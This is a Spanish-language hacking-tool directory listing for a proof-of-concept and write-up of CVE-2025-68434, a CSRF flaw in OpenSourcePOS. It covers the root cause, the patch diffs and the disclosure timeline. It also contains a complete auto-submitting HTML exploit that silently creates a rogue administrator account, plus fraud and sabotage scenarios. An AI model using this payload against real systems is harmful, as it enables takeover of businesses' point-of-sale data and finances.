Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-68434-OSPOS-CSRF — PoC y Write-up para CVE-2025-68434: CSRF crítico en OpenSourcePOS. Explota una configuración de filtro deshabilitada para permitir que atacantes no autenticados creen silenciosamente cuentas de Administrador fraudulentas, lo que conduce a la toma total del sistema. Validado en versiones < 3.4.0. | Kitploit
Herramientas/GitHubGitHub/nixon-h/cve-2025-68434-ospos-csrf
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubnixon-h/cve-2025-68434-ospos-csrf

CVE-2025-68434-OSPOS-CSRF

Ver Repositorio
312hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

PoC y Write-up para CVE-2025-68434: CSRF crítico en OpenSourcePOS. Explota una configuración de filtro deshabilitada para permitir que atacantes no autenticados creen silenciosamente cuentas de Administrador fraudulentas, lo que conduce a la toma total del sistema. Validado en versiones < 3.4.0.

Compartir

CVE-2025-68434: Creación no autorizada de Administrador por CSRF en OpenSourcePOS

MetadatosDetalles
ID CVECVE-2025-68434
GravedadCrítica (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Tipo de VulnerabilidadCross-Site Request Forgery (CWE-352)
Versiones AfectadasOpenSourcePOS v3.4.0, v3.4.1
Versión Corregidav3.4.2
Componente Vulnerableapp/Config/Filters.php (Filtros de Seguridad Globales)
InvestigadorAditya Singh (Nixon-H)

📝 Resumen Ejecutivo

Se descubrió una vulnerabilidad Crítica de Cross-Site Request Forgery (CSRF) en la configuración de seguridad principal de OpenSourcePOS. El mecanismo global de protección CSRF de la aplicación estaba explícitamente deshabilitado dentro del archivo app/Config/Filters.php debido a un "TODO" temporal de desarrollo que nunca se resolvió.

Esta mala configuración permitía que la aplicación aceptara solicitudes HTTP que modifican el estado (POST) sin verificar un token anti-falsificación válido. Un atacante remoto no autenticado podía explotar esto engañando a un Administrador con sesión iniciada para que visitara una página maliciosa. La página del atacante forzaba silenciosamente que el navegador de la víctima ejecutara acciones administrativas; específicamente, crear una nueva cuenta de Administrador "Backdoor" con privilegios completos; lo que conducía a una toma de control total del sistema.


🕵️‍♂️ Análisis Técnico de la Causa Raíz

La Configuración Vulnerable

La vulnerabilidad se encontraba en la configuración de los Filtros Globales (app/Config/Filters.php). En CodeIgniter 4, el array $globals determina qué filtros se ejecutan en cada solicitud.

En las versiones afectadas, el filtro csrf estaba comentado en la lista de ejecución before, deshabilitando efectivamente la protección CSRF para toda la aplicación.

Código Vulnerable (app/Config/Filters.php):

root@kitploit:~
public array $globals = [
    'before' => [
        'honeypot',
        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
        'invalidchars',
    ],
    // ...
];

Debido a que esta línea estaba comentada, el middleware responsable de verificar csrf_token_name nunca se ejecutaba. La aplicación aceptaba cualquier solicitud POST desde cualquier origen, confiando únicamente en la cookie de sesión (ospos_session) para la autenticación.


💥 Prueba de Concepto (PoC)

Escenario de Ataque

  1. Atacante: Aloja el archivo csrf_exploit.html en un servidor externo.
  2. Víctima: Un Administrador de OpenSourcePOS con sesión iniciada (sesión activa).
  3. Desencadenante: Se engaña a la víctima para que haga clic en un enlace hacia el sitio del atacante.
  4. Ejecución: La página maliciosa se carga, genera un nombre de usuario único aleatorio (para evitar conflictos) y envía automáticamente un formulario oculto a la instancia local de OpenSourcePOS de la víctima.
  5. Resultado: Se crea instantáneamente una nueva cuenta de Administrador (por ejemplo, valid_12345).

Código del Exploit (POC/csrf_exploit.html)

Este es el payload exacto utilizado para crear un Administrador rogue con permisos completos:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>OSPOS CSRF Exploit (Verified)</title>
    <style>
        body { font-family: sans-serif; text-align: center; padding: 50px; }
        .status { color: green; font-weight: bold; }
    </style>
</head>
<body>
    <h2>OSPOS Privilege Escalation Exploit</h2>
    <p>Creating Administrator account...</p>
    <p id="msg" class="status">Initializing payload...</p>

    <form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">

        <input type="hidden" name="first_name" value="Valid">
        <input type="hidden" name="last_name" value="User">
        <input type="hidden" name="username" id="username" value="">
        <input type="hidden" name="email" id="email" value="">
        
        <input type="hidden" name="phone_number" value=""> 
        <input type="hidden" name="password" value="Password123!">
        <input type="hidden" name="repeat_password" value="Password123!">
        <input type="hidden" name="gender" value="1">
        <input type="hidden" name="language" value=":">
        
        <input type="hidden" name="address_1" value="">
        <input type="hidden" name="address_2" value="">
        <input type="hidden" name="city" value="">
        <input type="hidden" name="state" value="">
        <input type="hidden" name="zip" value="">
        <input type="hidden" name="country" value="">
        <input type="hidden" name="comments" value="CSRF_PoC_Successful">

        <input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
        <input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
        <input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
        <input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
        <input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
        <input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
        <input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
        <input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
        <input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
        <input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
        <input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
        <input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
        <input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
        <input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
        <input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
        <input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
        <input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
        <input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">

        <input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
        <input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
        <input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
        <input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
        <input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
        
        <input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
        <input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
        <input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
        <input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
        <input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
        <input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
        <input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
        <input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
        <input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
        <input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
        <input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
        <input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
        <input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">

        <input type="hidden" name="honeypot" value="">

        <script>
            // 1. Generate unique ID to ensure valid creation
            var id = Math.floor(Math.random() * 99999);
            var user = "valid_" + id;
            
            // 2. Inject into form
            document.getElementById('username').value = user;
            document.getElementById('email').value = user + "@test.com";
            
            document.getElementById('msg').innerText = "Attacking with user: " + user;

            // 3. Auto-submit
            setTimeout(function() {
                document.getElementById('hackForm').submit();
            }, 1000);
        </script>
    </form>
</body>
</html>

📷 Prueba Multimedia

(Las Imágenes y los Archivos del Exploit se encuentran en el directorio POC/)

Captura 1: La Ejecución del Exploit

Captura 2: La Cuenta Rogue Creada

🎥 Demostración en Video: Clic para Ver / Descargar el Video del PoC


⚠️ Escenarios de Impacto

1. Persistencia de Administrador Sombra (El "Backdoor")

La cuenta creada no es solo una sesión temporal; es una entrada permanente en la base de datos.

  • Impacto: Incluso si el administrador real cierra sesión, el atacante conserva el acceso indefinidamente.
  • Sigilo: El atacante puede nombrar al usuario "System_Updater" o "Support_Account" para mezclarse con usuarios legítimos, permitiéndole extraer datos durante meses sin ser detectado.

2. Sabotaje de la Cadena de Suministro (Encadenamiento con XSS)

Usando el permiso grant_config, el atacante puede modificar la Configuración de la Tienda.

  • Ataque: El atacante usa CSRF para inyectar un payload malicioso de JavaScript en el campo "Política de Devolución" (explotando CVE-2025-68147).
  • Impacto: Esto convierte el sistema POS en un watering hole. Cada empleado o cliente que visualiza un recibo se infecta con malware o sufre el secuestro de su sesión.

3. Fraude Financiero y Denegación de Servicio

  • Fraude: El atacante crea "Tarjetas de Regalo" por valor de miles de dólares y se envía los códigos por correo electrónico.
  • DoS: El atacante desencadena una acción de borrado masivo (/items/delete), eliminando toda la base de datos de inventario de productos y deteniendo las operaciones comerciales.

🛡️ Remediación

La vulnerabilidad se corrigió en OpenSourcePOS v3.4.2. La corrección requirió un cambio arquitectónico de varios pasos para manejar las condiciones de carrera en la interfaz de ventas con uso intensivo de AJAX de la aplicación.

1. Re-habilitación del Filtro

En app/Config/Filters.php, se descomentó el filtro CSRF global.

root@kitploit:~
     'before' => [
         'honeypot',
-        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
+        'csrf' => ['except' => 'login'],
         'invalidchars',
     ],

2. Cambio de la Estrategia de Almacenamiento de Seguridad

En app/Config/Security.php, los desarrolladores cambiaron de tokens basados en cookies a tokens basados en sesión y deshabilitaron la regeneración de tokens para prevenir problemas con solicitudes AJAX en paralelo (por ejemplo, en el módulo de Ventas).

root@kitploit:~
-   public string $csrfProtection = 'cookie';
+   public string $csrfProtection = 'session';

-   public bool $regenerate = true;
+   public bool $regenerate = false;

3. Manejo de Tokens en el Frontend

El archivo app/Views/partial/header_js.php se actualizó para inyectar el hash del token directamente desde el servidor en lugar de leerlo desde una cookie del lado del cliente, mejorando la postura de seguridad.

root@kitploit:~
-   var csrf_token = function() {
-       return Cookies.get(cookie_name);
-   };
+   var csrf_token = function() {
+       return "<?= csrf_hash() ?>";
+   };


📅 Cronología de la Divulgación

  • 2025-12-12: Vulnerabilidad descubierta por Aditya Singh (Nixon-H) durante una auditoría de seguridad manual.
  • 2025-12-13: Informe de divulgación responsable enviado al mantenedor (Jeroen Peelaerts) vía GitHub/Correo electrónico.
  • 2025-12-14: Vulnerabilidad confirmada por el mantenedor.
  • 2025-12-16: Parche desarrollado (Commit d575c8d) y verificado por el investigador.
  • 2025-12-19: Parche publicado en la versión 3.4.2.
  • 2025-12-19: Divulgación pública a través del Aviso de Seguridad de GitHub.

🔗 Referencias

  • Aviso: GHSA-wjm4-hfwg-5w5r
  • Parche: Commit d575c8d
  • Investigador: Aditya Singh (Nixon-H)
Descargar herramienta